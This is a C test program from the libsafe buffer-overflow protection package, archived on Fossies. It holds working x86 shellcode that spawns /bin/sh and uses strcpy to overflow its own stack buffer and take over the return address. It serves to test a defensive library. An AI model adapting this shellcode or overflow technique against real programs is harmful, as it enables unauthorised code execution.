"Fossies" - the Fresh Open Source Software Archive

Member "libsafe-2.0-16/exploits/t1.c" (12 Jun 2002, 1689 Bytes) of package /linux/misc/old/libsafe-2.0-16.tgz:


As a special service "Fossies" has tried to format the requested source page into HTML format using (guessed) C and C++ source code syntax highlighting (style: standard) with prefixed line numbers and code folding option. Alternatively you can here view or download the uninterpreted source code file.

    1 /*
    2  * $Name: release2_0-16 $
    3  * $Id: t1.c,v 1.6 2002/06/12 20:30:37 ttsai Exp $
    4  */
    5 
    6 
    7 #include <stdio.h>
    8 #include <string.h>
    9 #include <sys/types.h>
   10 #include <stdlib.h>
   11 
   12 char shellcode[] =
   13     "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
   14     "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
   15     "\x80\xe8\xdc\xff\xff\xff/bin/sh";
   16 
   17 char large_string[128];
   18 
   19 /*
   20  * Return 1 if at least one of the bytes in addr is 0x00; else return 0.
   21  */
   22 int contains_null_bytes(caddr_t addrp) {
   23     uint addr = (uint) addrp;
   24     return !(addr & 0xff &&
   25          addr & 0xff00 &&
   26          addr & 0xff0000 &&
   27          addr & 0xff000000);
   28 }
   29 
   30 void foo() {
   31     char buffer[96], *p;
   32     int i;
   33     long *long_ptr = (long *) large_string;
   34 
   35     printf("This program tries to use strcpy() to overflow the buffer.\n");
   36     printf("If you get a /bin/sh prompt, then the exploit has worked.\n");
   37     printf("Press any key to continue...");
   38     getchar();
   39 
   40     /*
   41      * Make sure that there are no zero bytes in the starting address in
   42      * buffer[].  If so, find the first address containing no zero bytes.
   43      */
   44     for (p=buffer; contains_null_bytes(p); p++);
   45     if (contains_null_bytes(p)) {
   46     printf("We can't find an acceptable address that doesn't contain\n");
   47     printf("a zero byte.  Giving up.\n");
   48     exit(-1);
   49     }
   50 
   51     for (i = 0; i < 32; i++)
   52     *(long_ptr + i) = (int) p;
   53     for (i = 0; i < sizeof(shellcode)-1; i++) {
   54     large_string[i] = shellcode[i];
   55     }
   56     strcpy(p, large_string);
   57 
   58     return;
   59 }
   60 
   61 int main(int ac, char *av[]) {
   62     foo();
   63 
   64     printf("If you see this statement, it means that the buffer overflow\n");
   65     printf("never occurred.\n");
   66 
   67     return 0;
   68 }